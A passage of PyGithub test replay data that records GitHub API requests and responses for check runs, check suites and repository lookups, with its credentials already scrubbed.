'application/json; charset=utf-8'), ('Content-Length', '2193'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"c0cc2ab1fa68641cd589a9cf66348046f2c939eef5c832fd142062acfdb63c96"'), ('Location', 'https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4843'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '157'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CF62:24B3:579235:799DFB:5F92487A')] {"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"in_progress","conclusion":null,"started_at":"2020-10-20T14:24:31Z","completed_at":null,"output":{"title":"Check run for testing edit method","summary":"","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} https PATCH api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1296029552 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"status": "completed", "conclusion": "success", "output": {"title": "Check run for testing edit method", "summary": "This is the summary of editing check run as completed."}} 200 [('Date', 'Fri, 23 Oct 2020 03:05:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"c8ddcf778ff05bdc1fdec6a5f0929979377a02ddab45dab465f9b8fc1a73f448"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4842'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '158'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF63:09F2:EC7ED6:1442EAD:5F92487B')] {"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T14:24:31Z","completed_at":"2020-10-23T03:05:31Z","output":{"title":"Check run for testing edit method","summary":"This is the summary of editing check run as completed.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.setUp.txt0000644000175100001660000011041514756101563022047 0ustar00runnerdockerhttps GET api.github.com None /repos/dhruvmanila/pygithub-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 20:31:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"50f85744fb01b2c6d1ffffd66fbf74ab2f05d212f1069faf9ea45de0bf129224"'), ('Last-Modified', 'Fri, 27 Nov 2020 19:19:41 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '11'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D593:2B8B:29EAC0:3608F6:5FC16233')] {"id":305573836,"node_id":"MDEwOlJlcG9zaXRvcnkzMDU1NzM4MzY=","name":"pygithub-testing","full_name":"dhruvmanila/pygithub-testing","private":false,"owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dhruvmanila/pygithub-testing","description":"This repository is a hot bed for testing GitHub API endpoints for PyGithub.","fork":false,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing","forks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/forks","keys_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/teams","hooks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/hooks","issue_events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/events{/number}","events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/events","assignees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/assignees{/user}","branches_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/branches{/branch}","tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/tags","blobs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/statuses/{sha}","languages_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/languages","stargazers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/stargazers","contributors_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contributors","subscribers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscribers","subscription_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscription","commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/comments{/number}","contents_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contents/{+path}","compare_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/merges","archive_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/downloads","issues_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues{/number}","pulls_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/pulls{/number}","milestones_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/milestones{/number}","notifications_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/labels{/name}","releases_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/releases{/id}","deployments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/deployments","created_at":"2020-10-20T02:59:36Z","updated_at":"2020-11-27T19:19:41Z","pushed_at":"2020-11-27T19:19:39Z","git_url":"git://github.com/dhruvmanila/pygithub-testing.git","ssh_url":"git@github.com:dhruvmanila/pygithub-testing.git","clone_url":"https://github.com/dhruvmanila/pygithub-testing.git","svn_url":"https://github.com/dhruvmanila/pygithub-testing","homepage":null,"size":2,"stargazers_count":1,"watchers_count":1,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":0,"open_issues":0,"watchers":1,"default_branch":"main","permissions":{"admin":false,"push":false,"pull":false},"temp_clone_token":"","network_count":0,"subscribers_count":1} https GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 20:31:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"89a78bfe8aa1dc35f7cda97387b37fc4ae1dad4eccd4d724dd0cb169d6f960d8"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '12'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D594:1863:28279A:33D5DC:5FC16233')] {"id":1366665055,"node_id":"MDEwOkNoZWNrU3VpdGUxMzY2NjY1MDU1","head_branch":"main","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","status":"completed","conclusion":"failure","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-suites/1366665055","before":"0000000000000000000000000000000000000000","after":"0283d46537193f1fed7d46859f15c5304b9836f9","pull_requests":[],"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"created_at":"2020-10-20T03:25:40Z","updated_at":"2020-10-23T03:05:31Z","latest_check_runs_count":8,"check_runs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs","head_commit":{"id":"0283d46537193f1fed7d46859f15c5304b9836f9","tree_id":"fa1c1852eb4f8c87c88815682de697b797f57834","message":"Initial commit","timestamp":"2020-10-20T02:59:37Z","author":{"name":"Dhruv Manilawala","email":"dhruvmanila@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":305573836,"node_id":"MDEwOlJlcG9zaXRvcnkzMDU1NzM4MzY=","name":"pygithub-testing","full_name":"dhruvmanila/pygithub-testing","private":false,"owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dhruvmanila/pygithub-testing","description":"This repository is a hot bed for testing GitHub API endpoints for PyGithub.","fork":false,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing","forks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/forks","keys_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/teams","hooks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/hooks","issue_events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/events{/number}","events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/events","assignees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/assignees{/user}","branches_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/branches{/branch}","tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/tags","blobs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/statuses/{sha}","languages_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/languages","stargazers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/stargazers","contributors_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contributors","subscribers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscribers","subscription_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscription","commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/comments{/number}","contents_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contents/{+path}","compare_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/merges","archive_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/downloads","issues_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues{/number}","pulls_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/pulls{/number}","milestones_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/milestones{/number}","notifications_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/labels{/name}","releases_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/releases{/id}","deployments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/deployments"}} https GET api.github.com None /repos/wrecker/PySample {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 20:31:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"7f77b341de2ab433ed810066495b61ead6cfa91452856a0cc44f00aa4454c412"'), ('Last-Modified', 'Tue, 04 Aug 2020 05:06:11 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '13'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D595:790B:1C088:2ACD5:5FC16234')] {"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments","created_at":"2020-07-31T06:44:32Z","updated_at":"2020-08-04T05:06:11Z","pushed_at":"2020-08-04T05:06:51Z","git_url":"git://github.com/wrecker/PySample.git","ssh_url":"git@github.com:wrecker/PySample.git","clone_url":"https://github.com/wrecker/PySample.git","svn_url":"https://github.com/wrecker/PySample","homepage":null,"size":12,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":null,"forks":0,"open_issues":2,"watchers":0,"default_branch":"main","permissions":{"admin":false,"push":false,"pull":false},"temp_clone_token":"","network_count":0,"subscribers_count":0} https GET api.github.com None /repos/wrecker/PySample/check-suites/1004503837 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 20:31:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"54bee91f21251778dfe26b78dd22686a970c56729c09928324a355045e87d553"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '14'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D596:790C:D2CD7:106AEE:5FC16234')] 